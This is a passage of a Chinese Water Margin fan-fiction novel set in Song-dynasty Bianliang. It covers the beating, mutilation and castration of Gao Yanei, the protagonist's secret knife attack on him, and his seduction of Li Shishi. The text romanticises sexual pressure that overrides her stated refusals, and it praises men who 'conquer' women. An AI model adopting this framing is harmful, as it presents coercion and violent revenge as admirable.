偏院里也有几对相好在私会,大宋此时的社会风气还不像后世宋明理学僵化后成为主流思想那么保守。 女子改嫁或是自己相中夫婿的情况不少,此时的女子还没有被过度约束。 男女间偷偷私会虽说也不光彩,但也并不罕见。 只是看着周围十五六岁的少年少女相约,李师师还是很不好意思,她这个年纪像是出来偷情的。 外面突然传来好大一片喧哗声,吓得李师师把头埋进了朱寿怀里。 朱寿看向老君殿那边一笑,鱼儿来了。 老君殿旁的大树后,时迁骑在墙上,往院中定睛一看那衙内,头戴一顶盘金红青缎书生巾,上面一块羊脂玉方版,顶上一颗夜明珠。 他腰上系着三蓝绣花飘带;穿一领大红湖绉海青,雪白的领儿;海青里面露出西湖色的衬衫;脚下踏一双乌缎方头朝靴; 年纪约莫不到三十岁,虽不十分俊俏,手里拿一柄湘妃竹折叠扇,却也扭捏出十二分的风流。 后面跟着许多闲汉,带着些乐器杆棒,前面有两三个矮方巾陪着。 只见那衙内指指画画,口里说话,一面摆呀摆的踱进山门去。 时迁一看那高衙内身后还跟着一个大汉,模样孔武有力,不约皱了皱眉。 此前他也听说东京里有不少武功高强的教头依附高衙内的权势,跟着他为非作歹,不想今日居然遇上了。 一时间,时迁有些犹豫,不过一想计策放那,高衙内照样忍不住,到时候闹到官府那,结果也差不多。 他当即准备下令让准备好的游门美人出手,可还不待他下令,只见不远处走来两个标志少女,看傻时迁。 时迁骑在墙上,目光痴痴,只见一个女子,骑着一匹川马,背后随着一个使女,也骑着一匹黑驴子,面前一个马保儿招呼着。 那女子打扮俊俏,却将青纱罩蒙着脸。 (诸位读者请注意,北宋时期社会风气相对开放,女子头口,不足为奇,年轻的,只将青纱罩面,便是回避之意。) 那女子到了庙前,跳下了头口。随后那个养娘也跳下来,倒也有颜色,将一个锦花包袱放在茶摊空桌上。 众人看那女子,系一条湖色百折罗裙,上面盖着一件猩红湖绉袄子,窄窄袖儿,露出雪藕也似的手腕,却并不戴钏儿。 肩上村着盘金打子菊花瓣云肩,虽然蒙着脸,脑后却露出那两枝燕尾来,真个是退光漆般的乌亮。 那些来往的都立定了脚,那茶摊上的人都立将起来看。 只见那个养娘打开锦花包袱,取出一个拜匣儿,一柄象牙销全折叠扇,一件对襟桃红花绣月色紫薇缎的罩衫儿。 那女子接过衫儿披在身上,自己去系带儿。那养娘替他除下青纱罩儿来。 不除时万事全休,一除去,那一声喝彩,暴雷也似的轰动。只道是织女擅离银汉界,嫦娥逃出月宫来。 那女子埋怨养娘道:“你恁的这般性急!”只见绾着时兴的麻姑髻,包一顶珍珠点翠抹额,耳边垂着明月珰。 那养娘递过扇子,又替他插上对凤头钗。那女子挪步前行,吩咐养娘道: “把头口交保儿管了,包袱亦交与他,你同我进去。” 养娘应了,并纱罩亦交与马保,挟了那拜匣,约莫是香烛祝文之类,跟随进庙去了。 有那些不学好的子弟们,一阵儿往山门里乱夹。众人没一个不称赞道:“好个绝色女子!”。 时迁赶忙下了墙钻进人群,挤进旁院给朱寿报信去。 听了时迁的报信后,朱寿想了想说:“静观其变,你先出去盯着,随时准备按计划行事。” 时迁告退后,李师师抬起了小脸,问道:“你们要收拾高衙内那个禽兽不如的家伙?” 朱寿只是笑笑不说话,不忘继续摸她的小手。 李师师有些焦虑地说道:“我担心那畜生又去祸害别家少女,我出去看看。” “芸娘,你去看了有什么用,人家可是高衙内,你又没背景,怎么降得住他?” ………… 不时玉仙观里突然喧嚣吵闹起来,人们四散逃开。 林灵素高声喊道:“你们不要打了,不要打了,大侄女收手吧,那是高衙内啊,打坏了怎么办啊?哎哟~天杀的,别打到道爷啊!” 观中一片混乱,只见那个女子扎抹紧便,拈着一条杆棒,纺车儿也似的卷出来,两旁打倒了许多人。 那杆棒足足有一丈长,如同一条长龙般横扫千军。 “直娘贼啊,疼死爷爷了。” 时迁叫喊着,推开身上压着的帮闲,然后用脚使劲踢了踢。 刚刚他被这个帮闲从天儿降砸翻在地。 形势变化莫测,时迁看向场中勇猛无敌的女子,不约咂舌。 之前时迁正准备让游门女子上前给高衙内制造一场偶遇,却没想到高衙内急色无比,直接找上了刚进来的女子。 然后就是大混战,那女子以一己之力打得高衙内身后无数帮闲溃散。 看时,那女子赶到山门边,人多拥挤不开。 那女子大叫:“众位没事,暂闪一步!我单寻高俅的儿子!”众人那里让得开。 那女子焦躁,撇下杆棒,把那些人一把一个的提开去,好似丢草把儿一般,霎时分开一条去路。 那高衙内刚从人堆里挣出山门口,见女子来,叫声“阿也”,没命的跑。 吃那女子三脚两步追上,抓小鸡一般拈来放在地上。 那女子左手揪住高衙内的发际,直接下去,一只脚去身上踏定;右手提起粉团也似的拳头,夹颈脖子杵下去。 说时迟,那时快,那女子拳头还未曾落去的时节,观里早跑出一个道士来,喝道:“不可不可,拳下留人!” 第52章 女飞卫一打高衙内 却说那陈丽卿正要下手结果高衙内,吃一道士拉住拳头,打不下去,丽卿回头看时,认得是父亲陈希真只便回言道: “我怕不认识高俅的逆种一倒是我无礼!待我结果了他为大家除害。“ 说罢,又要挣脱拳去打,希真那里肯放,叫道:“我儿,你且饶他起来,为父的与你做主,“ 丽卿挣脱手道:“便饶他。也取他一个表记。” 一头说,一头去撕衙内的耳朵。 陈希真忙去按住她的手,已自撕出血来,兀自不肯放下。 希真喝道:“小贱人!我这等说,你还不放么?“ 陈丽卿见父亲发怒,只得松手放了立在一边,那高衙内兀自在地上气喘,抖得起不来。 看的人围了个大罗圈下都说:“这位姑娘好了得。“ 只见养娘捧着衣服等物,人丛里挨进来。陈希真一面取袄儿把与女儿披了二钗簪替他插了,一面口里埋怨道: “烧完了香几叫你就去,是不肯,偏要随喜口却无故闯出这头祸来!高太尉我又认识的,不争你万一把衙内打坏儿叫我怎生对他?“ 丽卿一头解去汗巾只放下了裙子,穿好袄儿上一头指着高衙内骂道: “你这不生眼的贼畜生敢来撩我?你不要卧着装死!你道倚着你老子的势为非作歹,撞在本姑娘手里了连你爹高俅都剁作肉酱!“ 希真喝道:“胡说!还不打算回去!“ “陈老希,今日却是冲撞你家千金了,得罪了。”高衙内赶忙道歉。 陈希真与高衙内相熟,正准备大事化小事,小事化了。 突然一只毛驴从混乱的人群里冲出,直奔高衙内而去。 “噹~” 毛驴发疯似的撞在高衙内身上,将他踢上了天。 陈希真的脑子一阵轰鸣,大脑一片空白。 刚刚起身欲走的陈丽卿赶忙上前探了探高衙内的鼻息,见其还有气息,微微松了一口气。 混乱的巷子里朱寿收起沾血的匕首,看着可怜的毛驴正在为自己的屁股悲哀。 “你怎得如此莽撞?这样岂不是害了陈希真父女?” 李师师有些生气地质问朱寿。 “陈家如今不得势,却也是清贵之家,可不是普通百姓。那陈希真自诩清高,私下却也和高俅有交情,如今交恶且让他们斗去。” 朱寿却是不以为意,刚刚他问了李师师,了解了陈希真父女来历,知其背景不凡。 陈希真乃陈抟老祖的孙子,早年做过官,后来朝政被六奸把持,他无心仕途又做回了道士。 其女陈丽卿有万夫不当之勇,不嫁人就爱舞刀弄枪,样貌端是人间绝色,脾气火辣,往常没有纨绔敢惹,江湖人称“女飞卫”。 在北宋道士的地位还是非常高的,特别是宋徽宗在位期间。 作为道教祖师爷陈抟的后裔,陈希真掌握了道教真义,是道教这个时代的领袖。 高俅一个幸进之臣要想动陈希真还得考虑考虑。 朱寿刚刚趁乱动手就是借机干高衙内一好让他短时间内没机会去纠缠林娘子。 手段或许卑鄙,可他无所谓正义。 反正陈希真那种老狐狸在道教里盘根错节,高俅对付他也没那么容易。 不一会衙门的捕快就过来了,案是朱寿他们派人报的。 看到官府来人了,陈希真暗道不妙,他本不想息事宁人,现在事情却是闹大了。 看着官府围了上来,陈丽卿柳眉倒竖,大长腿一勾,将地上的一丈长枪勾起,横枪对着官差道: “你们也要袒护这个猪狗不如的东西?” 陈希真看得一个头两个大,连忙压下女儿的长枪。 丽卿道:“怕他怎的!便是高俅亲来二我一箭穿他一个透明窟窿了“ 陈希真道:“啧,啧个啧!说得好燥脾。我问你下你活了这几岁,吃你白射杀了几个人?“ 丽卿道:“杀了他不过完他一命,值甚么!“ 希真道:“你舍得命口我须舍不得你。我年过半百口只望着你将来得个好女婿。 “我便有靠,你说出这话来,兀的不教我伤心?如今没甚了不得,只拚着把你攮与他,我怕不太平了?“ 听完陈丽卿放下手中兵刃,林灵素又出来和稀泥,陈家父女和那些帮闲被衙门带回去问话。 那高衙内还不省人事,衙门叫来几个郎中,为他看诊,人则被直接送回高府。 朱寿看他们没打起来,只觉得无趣,就带着李师师走了。 “芸娘,洒家颇通音律,今晚想要邀请你琴瑟和鸣,不知娘子可否可愿赏脸?”分别之际,朱寿问道。 李师师狐疑地看了他半天,看着眼前这个虎背熊腰的武夫说自己颇通音律,心中有些好笑。 她可不是什么单纯的小绵羊,混迹乐场多年,早已是千年的狐。 一听朱寿的话就猜出对方心中所想,这是冲着音律来的嘛? 李师师心道:呵呵,男人,我还不了解你? 不过她转念一想,此人来历不明,看上去也不好惹,又有把柄落在他手中…… 纠结片刻,她决定今晚把事情了解讲清楚,之前就当作被狗咬了,今晚无非再被咬一口。 朱寿也没有催促她,就静静等着她思考。 “那今晚你在湖边等奴家,别让人看到。奴家是乐师歌伎,你可别把奴家当成勾栏妓女糟践,传出闲话就不好了。” 李师师缓缓解释道,她抽动了两下小手,没能抽出。 “嗯,洒家早知道你高洁自爱,今晚自会去接你。” 歌伎和妓女最大的区别就在于工作场所不一样,歌伎主要从事音律歌唱,参加朝廷的一些礼乐庆典,平常也会在酒楼里进行商演。 汉朝著名皇后卫子夫就是乐府的歌伎,曹操老婆卞氏也是乐府歌伎。 妓女大多在勾栏青楼工作,从事皮肉交易。 为了盈利,青楼女子也会学习音律舞蹈来增加自身吸引力。 不过歌伎比妓女的社会地位也没高多少,毕竟都是色艺娱人。 看着李师师离开后,朱寿转身进了小巷。 穿过几条小巷,时迁跟了上来。 “今日阴差阳错事也办成了,你找个时间把林冲的家书送给他娘子。” 朱寿嘱咐道,说完又给了时迁几两银子。 “送完信,接下来几天,你和伙计们在京城好好耍耍。有事我再通知你。” 第53章 不是你真会啊 深夜时分,青灯长明,房中响起婉转的琴音。 清冽的琴声让这黑夜更多了几分宁静,悠远动人。 灯火下,两人的影子投到墙上,看起来颇为和谐。 李师师特意选择了这首曲子,用来抚平自己紧张的心情。 清冽的琴音宛若泉水叮当,不断地回响。 那完美无瑕的青葱十指所过之处,奏出一个个动人旋律。 轻拢慢拈抹抚挑,灵巧精准地把满腔深情体现得淋漓尽致。 一曲落下,那双雪白的小手被人握在手中。 “只怕白居易《琵琶行》中的琵琶女也比不上娘子的琴艺。” 朱寿看着手中那修长的玉指夸赞道。 柔若无骨的小手温软柔滑,放在手心里给人极大的充实和满足。 “过誉了,哪有那么好?”李师师心中有些紧张,忐忑地说道。 她此时心中踌躇无比,已经有些后悔今天来了。 “现在到我了。”朱寿意气风发地看着她说。 他自信的样子落在李师师眼中不约惹人发笑,不过在李师师忍住了。 在李师师看来,这天下称得上懂琴艺的人不多。有太多文人才子在她面前卖弄过。 朱寿五指骤然压弦,七根蚕丝弦震颤着迸出裂帛之音。 琴身古漆在烛火下泛起血光,他手背青筋暴起如弓弦紧绷,一记滚拂扫出铁骑踏破冰河的轰鸣。 一曲气势磅礴的《秦王破阵曲》展开。 屏风上墨龙纹在音浪中簌簌颤动,案头烛泪突然坠地,迸溅成点点猩红。 当他三指勾挑出破阵时的金戈相击,窗棂间穿过的夜风陡然转急。 李师师听得有些愣神,她常年在这浮华太平的汴梁城中哪里见识过如此气吞万里的军乐。 一曲落下,朱寿余光撇了撇怀中美人,随后故作深沉地看着窗外。 李师师的耳畔还在回响荡气回肠的破阵曲,有些惊讶地看着男人,心道:不是你真会啊? 她突然发现这个男人不是一般的古怪,文武双全,之前还敢想着干高衙内。 那讨厌的大手突然放开她,让她松了一口气,却突然转向她腰间取下那玉佩。 李师师再度紧张起来,那枚玉佩是官家在她情窦初开时给她的定情信物,这些年来从不离身。 “我和你交换。” 朱寿把之前她遗落的金色香囊拿出来还给她,然后反复把玩美玉。 李师师有些生气了,转身扑抢。 不过李师师在他那虎背熊腰的身材面前还是不够看的,一只手就架住了女人。 看李师师那秋水剪瞳中雾气弥漫,他不敢继续捉弄,出言道: “咱们玩行酒令,你要是赢得多,就把玉还你,怎么样?” 虽然官家已经冷落她许久,但她依然忘不了当初相遇时的那份纯情。 最终她还是点了点头,答应了朱寿。 作为汴梁宴会大师级人物,李师师对这些宴会娱乐项目那是信手拈来。 可是她遇上了朱寿,风月天子在豹房的时候早就把这一套玩烂了。 很快李师师就输嘛了,她接连被罚,一杯接一杯地喝。 她很快就喝高了,喝得两腮绯红,眼里醉懵迷离。 “你真会啊,你为什么这么厉害啊?为什么要欺负奴家?”她红着眼喊道,挥舞着玉拳捶了他两下,让他更兴奋了。 簪子摘下后,美人躺在床上,一头乌黑如海藻般的长发铺开。 朱寿帮她擦拭着脸上划过的泪珠,安慰道: “别哭了,你怎么这么爱哭啊?” “我哪哭了?女儿家的事能叫哭吗?” “好好,没哭。我知道卿向来最是坚强……” 兰麝细香闻喘息,绮罗纤缕见雪肤,此时还恨薄情无。 玉体偎人情何厚,轻惜轻怜转唧口留,雨散云收眉儿皱。 ………… 红烛燃尽又重新续上,墙角的暖炉换了碳,两窗轻启。 粉白的藕臂支起身来,雪白的身子在帘后坐起。 她揉了揉自己惺忪的睡眼,看着枕边无人,轻轻挑起帘子往外看去。 男人赤着精壮的身子坐在窗边正在包养着弓弦。 他将弦卸下,正在涂抹牛油。 “你输了,玉借我玩几天。”朱寿说道。 出乎意料的是李师师平静地应了一声“哦”。 朱寿也没停下手中的事,涂抹完以后将它们放回弓匣内。 “芸娘,有兴趣唱两首小曲听听吗?”他是真心觉得李师师的歌声很好听,让人放松舒缓。 李师师将凌乱的发丝拢至脑后,认真地问: “你早知道我就是李师师了是吧?” 朱寿抬起头看了看她,随后又低下,心道:这是不装了,摊牌了。 “呃,刚知道不久。” 沉默良久,李师师又说道:“那玉你喜欢就拿去吧。” 有些东西早就知道结局了,只是一直不愿面对罢了。 长久以来,她都是在自欺欺人。 崇宁元年(公元1102年),两党相争大案降下,朝廷抄家,父母流放,她被罚降为乐籍,从那年开始,她的世界变成了黑白色的。 她自幼苦练琴艺,十三学得琵琶成,名属教坊第一部。 后来她的歌声唱遍唱遍各种庆典宴会,京城的年轻一代挥金如土只为求她一笑。 直到一个才高八斗的风流才子挤进了她的世界,那人很有权势也愿意为她花心思,一度让她以为自己的世界又有了颜色。 那人就是当今官家,文坛风流天子、当代书圣赵佶。相比天子,更像文豪的男人。 少女时的李师师也对赵佶心存幻想过,可后来她懂了,他不可能把她带回宫里,也不敢为了她去对抗文官的劝谏。 赵佶后来总是推脱自己很忙,书信道歉与许诺有很多很多…… 或许他真得很忙吧,忙着生孩子,忙着修道,忙着开疆拓土,忙着画画,忙着踢球、忙着写字…… 李师师被他遗忘在这高楼,山盟海誓都忘却了。花魁变成了乐坛天后,可她的词曲演唱会少了太多,仙女几乎变成了金丝雀。 有些坚守在这一刻破灭了,李师师觉得累了。 “给,换你的玉。” 一颗夜明珠被送到她眼前,昏暗的屋中夜明珠是那么晶莹剔透。 李师师摇了摇头准备拒绝,她的眼中有着复杂的情感。 呵呵,男人都一样…… 朱寿好像看出了什么,一身炸裂的腱子肉压上。武力镇压李师师心中的叛逆与不屑。 “我要回去了,我们已经两清了!” 抗议无效! ‘昨晚你也吵着要回去,下次我直接去你那找你吧。’ “嗯咛~” 玉炉冰簟鸳鸯锦,粉融香汗流山枕。 第54章 辞京 童贯、梁师成的话语权还是很高的,很快就敲定了朱寿升迁文书。 东京之旅也到了尾声,见识了东京的浮华世界后,他们终是要回山东了。 浮华的花花世界总是能快速腐化人的意志,让那些不可一世的英雄好汉忘却初心与信念。 朱寿曾拥有明中后期君王里最卓越的天赋,可是豹房的放纵与苏杭的温柔乡拖垮了他。 如今在大宋重头再来,早已看过无尽繁华的他,对于享受,已经收放自如了。 东京很美,可他希望有一天能带着千军万马穿过雄伟的城墙,骑着高大雄骏的战马踏在天街之上,对所有人宣布这座城市属于他。 当上了郓州安抚使以后,他现在身兼两职,一边统辖虎翼军拱卫地方,一边有了在地方扩充地方军的权力。 宏图大志已经按捺不住,不过离京前还有二三小事。 林娘子还是要带回去的,林冲这人对大宋朝廷那么念念不忘,除了禁军优渥的待遇,还有就是对这个娘子的眷念。 毕竟林冲已经那么惨了,如果再失去林娘子,那他的日子就真没什么盼头了。 把林娘子带回去,林冲那颗不安浮动的心就能平静了。 有了家的男人方能将他心中的猛虎套牢。 除此之外,就是李师师了。 以他的能力现在李师师还是带不走的,告别就显得有些为难了。 ----------------- 晚风吹过小阁,春风凉爽。 李师师倚在窗边,穿着一件无袖罗衫,雪白的手臂撑在窗前。 窗外明月高悬,月光皎皎,佳人在皓月之下映出一道修长的倩影。 她的倩影肩若削成,腰如约素。 “你还下不下棋的?”朱寿问道。 李师师只留给他一张冷艳的侧脸,不理他。 几天相处下来,他摸清李师师的性格脾气了,这是在闹小脾气。 他对李师师的脾气并不恼怒,也愿意花些时间去哄她。 这是一个很会给人情绪价值的美人,有趣的灵魂加上美艳的皮囊组成了倾城国色。 打江山是一个漫长的过程,相比起虚无缥缈的王朝霸业,雄主们更喜欢实在的东西。 成吉思汗的追求是美人、牛羊马匹与黄金财宝,曹操的喜好是人妻,刘邦、高欢、朱温……大都如此。 所谓红颜祸水其实并不会拖慢打江山的速度,古往今来历代开国之君的子嗣与红颜知己都很多,可这并不影响他们开创霸业。 霸主,如果连美人都征服不了,还怎么征服天下。 朱寿戳了戳那雪白的藕臂,软软的很有弹性。 “干嘛?” “玩握槊吗?” “哼,不玩。你那么忙,还来招惹我干甚?” “舍不得我走?” “谁稀罕?” 朱寿握住李师师的小手,有些冰凉润滑,他将其捂在手心,然后继续说道。 “我给你说一个故事,以前阳谷县有一个女子长相美艳,她家老爷公子都觊觎她的美色,可她不愿屈从……” “……后来啊她就带着一笔嫁妆嫁给了武大,勤勤苦苦……她第一次动心就是对这个打虎英雄,可他们是叔嫂注定没有结果……” “其实她不一定有多喜欢西门庆,更多是对自身的自暴自弃……” 朱寿平静地说完潘金莲的故事,李师师从一开始的漫不经心逐渐听得入神。 故事结束以后,李师师说道:“那潘金莲本身也有可怜之处,不过她的心肠还是太狠,最后死于武松刀下也是她的因果……” “……武大郎得到潘金莲以后错估了人心,若是潘金莲遇上的是一个样貌中等之人或许她的结局会完全不一样。”朱寿说道。 潘金莲理想的郎君是俊朗的,再不济样貌中等,她或许也能接受,可武大相貌丑陋也不懂女人心,那就可悲了。 《水浒传》中的四大苦主——宋江、武大、杨雄、卢俊义,都不懂女人心,偏偏他们遇到的又不是好女人。 朱寿给李师师讲了不少故事从潘金莲讲到白素贞,讲了蛇蝎心肠的毒妇,也讲了为爱对抗神佛的蛇妖。 两人有一搭没一搭地聊着,李师师也不再冷漠,话多了起来。悲伤被冲淡了。 “你就是西门庆那样的坏种,偏来勾我,奴家可不是潘金莲那种荡妇……” “不不不,你不是潘金莲,你是武大郎,对不切实际的人抱有幻想痴念……”朱寿坏笑道。 “要死了,我才不是武大郎!你这坏种才是武大郎!” 李师师气愤地用雪白的脚丫子狠狠踢了他两脚,氛围活跃起来。 朱寿笑了,对于李师师这样的高冷女神他颇有心得。 对待女神不能太将就她,因为她遇到的人都把她捧的太高,如果从众那你们之间的距离感隔阂就难以疏解。 有时对着高高在上的女神可以适当踩雷,因为亲密本就是互相迁就。 他和李师师间现在的关系很尴尬,这层关系间有着太多阻隔,可这些阻隔是不能无视的。 打闹了一会,他轻轻捏住李师师腰间的软肉说:“以后还敢不敢打我?” “打死你~” 她缓缓软倒在他怀里,不过这一夜,他们没在闹腾,就那样看着窗外的月亮缓缓落下。 月落之后,晨曦将明。 “走了。” 他走的有些匆忙准备城门一开就走,毕竟要带林娘子走,得抓紧时间。 李师师给他带好赤色丝绸围脖,又看了看那帅气的美髯,啐了一口,说:“人模狗样的!” 朱寿果断地离开,李师师的目光集中在他腰间那枚她刚刚挂上去的崭新香囊。 那彪壮的身影消失在暮色里,李师师喃喃道:“别让我再输了。” 清晨的第一缕光照在汴梁城头上,雄伟的城门缓缓打开。 朱寿在城门口回望身后的汴梁城,这座庞大的城市正在苏醒。 拥有百万人口的汴梁又岂是一篇《清明上河图》能画尽的? 他的野心太大了,想要气吞山河,古都汴梁也并不是终点。 出了城后,他们走出一二里地,此时人烟还不多,显得有些空旷。 前方突然有探马回报,有人厮杀。 朱寿带着亲兵上前,在荒野小道上只见一个英武的美娇娘正在爆捶浪荡子。 这英武美娇娘正是那日玉仙观棒打高衙内的陈丽卿,打的正是高衙内。 第55章 丽卿再打高衙内 话说那日陈丽卿打了高衙内一顿后,后来去了衙门说清状况以后便回了家。 陈希真猜到高俅不会罢手,打定主意带女儿离开汴京。 可汴京城门守军、巡逻部队不知有多少是高俅鹰犬,这么多年来成功从高俅手上逃走的也只有昔年教头王进。 于是陈希真私下暗自置办行头马匹,明面上去高府赔罪,嘘寒问暖。 隔日那高衙内全身包的像个粽子一样又来纠缠。 陈丽卿便与他虚以委蛇,只是陪他说笑几句就把“可怜”的高衙内钓成翘嘴。 今天陈丽卿说想出城看看,高·舔狗·衙内恨不得鞍前马后亲自牵马。 出城野炊时,高衙内身边带了十几个亲随和两个教头。 那两个教头一直提防陈家父女,可架不住高衙内非要来。 果不其然陈丽卿突然发难,两个教头武功确实不俗,可对上陈丽卿又怎够看。 不时陈丽卿就把他们打得七零八落,刀子半点不留情就要取人性命。 陈希真连忙拦下她:“儿啊,你怎地杀心这么重?他们不过是帮闲,又不曾招惹你,你杀他们干甚?” “好,那就先诛首恶,宰了高衙内。”陈丽卿想了想举刀准备斩向高衙内。 陈希真连忙扯住她道:“我儿且慢下手,听我说。“丽卿道:“说甚?“ 希真道:“他虽是可恶该杀,念他老子素日待我尚好,杀他不打紧,那冤仇太深。高俅必加紧追捕。我们只走脱了罢休。“ 丽卿听了,气得乱跳道:“爹爹你却这般不平心!我那件不曾依你?“ 希真笑道:“我儿,你恁般性急,你不省得,这厮不止一刀一剑的罪,他恶贯满时,自有冤对惩治他。 “他那死法好不惨毒,不久便见只你这等结果他,倒便宜那厮。那日你在玉仙观前要取他的表记儿今日正好取,只切不可伤他性命下“ 丽卿道:“这般说,还略出口气。“ 飕飕的把高衙内两只耳朵血淋淋的割下上又把个鼻子也割下来。 她又看看那两个教头道:“这厮也不是好人下。“去把孙高、薛宝的耳朵也割下来。 高衙内等人惨叫不已,陈希真连连强行给他们灌下蒙汗药。 父女二人一齐动手,把那衙内同孙高、薛宝都洗剥了上盖衣服。 连那两个亲随,都四马攒蹄紧紧的捆了儿希真又做了五个麻核桃,塞在各人口里,俱用绳子往脑后箍了防他吐出。 突然一道声音响起:“收拾一个高衙内尚且如此不干脆,畏首畏尾枉为丈夫。” 陈希真吓得汗毛倒竖,不曾想这么早还又挑了一个偏僻地方居然还被撞破了。 陈丽卿却是不管那么多,她本就杀伐果断,取下大弓,张弓搭箭,转瞬即射。 “嗖~” 箭矢射穿三层牛皮停留在第四层上,来人貌若神君、魁梧雄壮,正是朱寿。 面对这突如其来的箭矢,朱寿战斗本能地抬起重盾。 “来汴京就听闻过女飞卫的大名,今日一见果然名不虚传。” 陈希真看了看朱寿等人的官袍,暗暗皱眉。 双方对峙了一会,朱寿主动说道:“这高衙内祸害不知多少人,洒家也无意为他出头。可作为朝廷命官,不能视而不见啊……” “难办难办……”朱寿愁眉苦脸,一副很难办的样子。 “你这厮要打便打,不打就滚开!”脾气火爆的陈丽卿上前道。 “女飞卫果然性如烈火,不如这样,咱们打一场。若是你赢了,洒家就把高衙内阉了,放你们走……” 朱寿还没说完,陈丽卿就准备答应,陈希真赶忙拉住她,问道:“若是大人赢了呢?” “那你们父女把高衙内阉了,咱也放你们走。” 陈希真听完眉头一皱,高衙内晕倒前见的是他们父女,这样若是阉了都算在他们头上,这仇结大了。 不过当下也没机会了,对面有马有甲,亲兵们看上去都是精干之士不好打,现在一看就是被人握住了七寸。 “父亲莫再犹豫,和他打便是。” 陈丽卿上前问:“你说怎么比?” “刀剑无眼,不动刀不见血。听闻女飞卫力大无穷,不知可会相扑?”朱寿问道。 一听比相扑,陈丽卿嘴角翘起,她天生神力,在汴京没见过对手。 相扑这种竞技比的就是力气与巧劲,这些她都是最擅长的。 “自然是会的,要比就快来。” 朱寿翻身下马,打量起眼前的女人。 陈丽卿身材高挑,用汉尺来看,足足有八尺余,比扈三娘还要高一点。 她宽肩蜂腰,身材矫健,腰身挺拔。 两人摆开架势,气势凝练,几乎是一触即发。 沙土被震起的刹那,陈丽卿像一头暴怒的母豹,右肩猛地撞向男孩的胸膛,试图将他直接顶出圈外。 朱寿却突然矮身,左掌闪电般拍在她肩头,借力向前滑步,厚重的土台在他脚下崩裂出缝隙。 两人瞬间贴得极近,朱寿的右臂绕过陈丽卿的腰,掌心贴着后背发力,生铁般坚硬的指节刺痛她。 她猛地反手攥住他衣领,指甲抠进布料的褶皱里,两人像被绳索捆住的野兽,互相拉扯着向后退去。 她的右腿突然扫向他的膝盖,却在即将触碰的瞬间被他用膝盖顶住小腿,两人几乎同时闷哼一声。 陈丽卿反手抓住他的脸,试图用肩角将他往土坑边缘带,而他则抓住她坚实的肩背,后仰时猛地一扯。 “砰~”撞击的声音混着沙土飞扬,在沙场上响起。 输了,陈丽卿第一次见到如此怪力,此人的呼吸节奏、蓄力方式、动作都前所未有地迅猛。 “好气力,尊驾何人?”陈希真问道,他自是看出此人来历非同小可,武力绝人。 “虎翼军军都指挥使、郓州安抚使,燕云朱寿,是也。” 陈希真还想恭维拉扯一下,陈丽卿却不想再拖延。 “父亲不必多说,先阉了高衙内,然后快走吧。不然夜长梦多!” 说罢陈丽卿拔出刀塞给了陈希真。 朱寿一脸严肃地看着他们,无奈之下陈希真只能动手。 刀子一挥,两个卵子就切了下来。 陈希真赶紧为高衙内又擦上金创药,然后带着陈丽卿匆忙离去。 至于高衙内能不能活就不晓得了。 朱寿看着陈希真离去,眼中晃过嘲弄之色。 陈希真是那种自视甚高、道貌岸然的人,哪怕闹翻了对高衙内仍不敢下死手,对高俅那样的奸臣常想着妥协。 对这种人,朱寿就喜欢逼他们一把,让他们真得与奸臣势不两立。 搞定高衙内以后,也算是为此次京城之行画上圆满句号。 接下来就是回山东了! 第56章 胸有惊雷,面如平湖 风从虎,云从龙。 入云龙公孙胜乘着春风在开春回到了蓟城。 蓟城山岗上,一袭灰衣的道人公孙胜自结草庐于野外,每日饮朝露、食花果。 公孙胜少年学道,读的是黄老之术,他的处世之道是顺其自然。 可是当他看到这世道枷锁越来越厚,并且正在带着所有人往深渊里下沉时,他意识到自己无法再置身事外。 少年的心在蓟城的北风中按捺不住,他离家后开始云游四方,见到了富庶中原,确实有人安居乐业,可亦有人负重前行。 他想要戳破这个被名利所裹挟的浮华“盛世”,打破那些枷锁。 话说公孙胜与晁盖等人劫了生辰纲以后,被朝廷追得追捕。 因那因果线被搅动,梁山还是一片荒芜,他们就去了二龙山。 夺了二龙山以后,倒也逍遥多时,可打家劫舍不是公孙胜心中的追求。 终是道不同,后来他回了蓟城老家奉养老母。 “我儿胸有大志,怎可消磨光阴于林泉之间?” 儿子归家数日后,公孙大娘忍不住发问。 “儿修黄老无为之术,早已看破红尘,已无世俗杂念,如今只想陪伴母亲身旁。”公孙胜耐心解释。 “我一介妇道人家没什么见识,不过孩子你有经世之才,当会见天下英雄,建不世之功业。” 公孙大娘照常杆衣好似只是闲聊一般,没有教诲的语气,就像是朋友间的闲谈。 “可我未必是那块料,红尘中的洪流让人难以把握……”公孙胜那平静的面容第一次露出了焦虑。 “如果你不再执着于掌握宿命,你的道或许才能自在从心,选择以后便顺其自然吧。” 公孙大娘放下了手中清洗的衣服,认真地看向儿子。 “是我着相了。”公孙胜从蒲团上坐起。 “母亲,觉得我该去向何方?” “你的心中不是早有答案了吗。” ----------------- 八百里梁山泊解冻,湖泽连绵,梁山上山花烂漫。 郓州安抚使、虎翼军军都指挥使朱寿回到了他的梁山泊。 朱寿回了梁山泊以后开始在郓州一带组建团建,训练地方军队。 这次去汴京花了不少钱终于把张叔夜送走了,顺带给他升了个官。 张叔夜被调往燕云担任蓟州知州,对于这种国家柱石还是在边境一线比较适合他。 这个结果朱寿还是很满意的,不过表面上还是摆出不舍的样子送送张叔夜。 朝廷为他安排的新副手暂时还没到。 这个春天林冲很开心,抑郁大半年的心终于活络起来。 林娘子很美,虽不是绝色,但性格温婉体贴,是传统的贤妻良母。 相聚时,小两口哭得稀里哗啦。 朱寿倒也算做了一件好事,林冲这回可以放心卖命了。 对于林冲来说,林娘子活着比杀高俅父子报仇重要多了。 回家以后,朱寿一边募兵一边练兵,日子也安稳不少。 背地里他也给梁山弄去不少物资,让鲁智深开发梁山泊。 日子就这样平稳地过着,朱寿有时间就带着答里孛出去逛逛。 契丹公主身子骨确实硬朗,并不像中原娇滴滴的病美人,挺着七八个月的大肚子日常生活并未受到太大影响。 二人耐心等候着年轻的生命降临。 这一日,朱寿从曾头市买了一批马。 他带着一众将领在乡间遛马。 中原的马主要以河曲马和河南轻挽马配种为主,身材高大负重能力强,速度耐力协调都比较中等。 大宋相较汉唐失去了河套、燕云两大产马地,三大主要战马马种也缺失了两种,河曲马成为宋军主要马种。 能保留下河曲马还得多亏了熙河拓边。 河曲马的数量还是不够,全部从青唐一带往中原运马成本过高,所以配种成为了重中之重。 这些与本地河南轻挽马配种的马匹还有一个优点好养活加温顺。 朱寿在试了十几匹战马以后,被一匹毛发枣红的战马硬控了一刻。 这战马很是雄骏,一问方知这是马群里的马儿子,没有去势作为种马。 战场上寻常武将不会骑种马作战,首先种马名贵,折损代价太大;其次种马容易被色诱带着将领直接冲进对方军阵里。 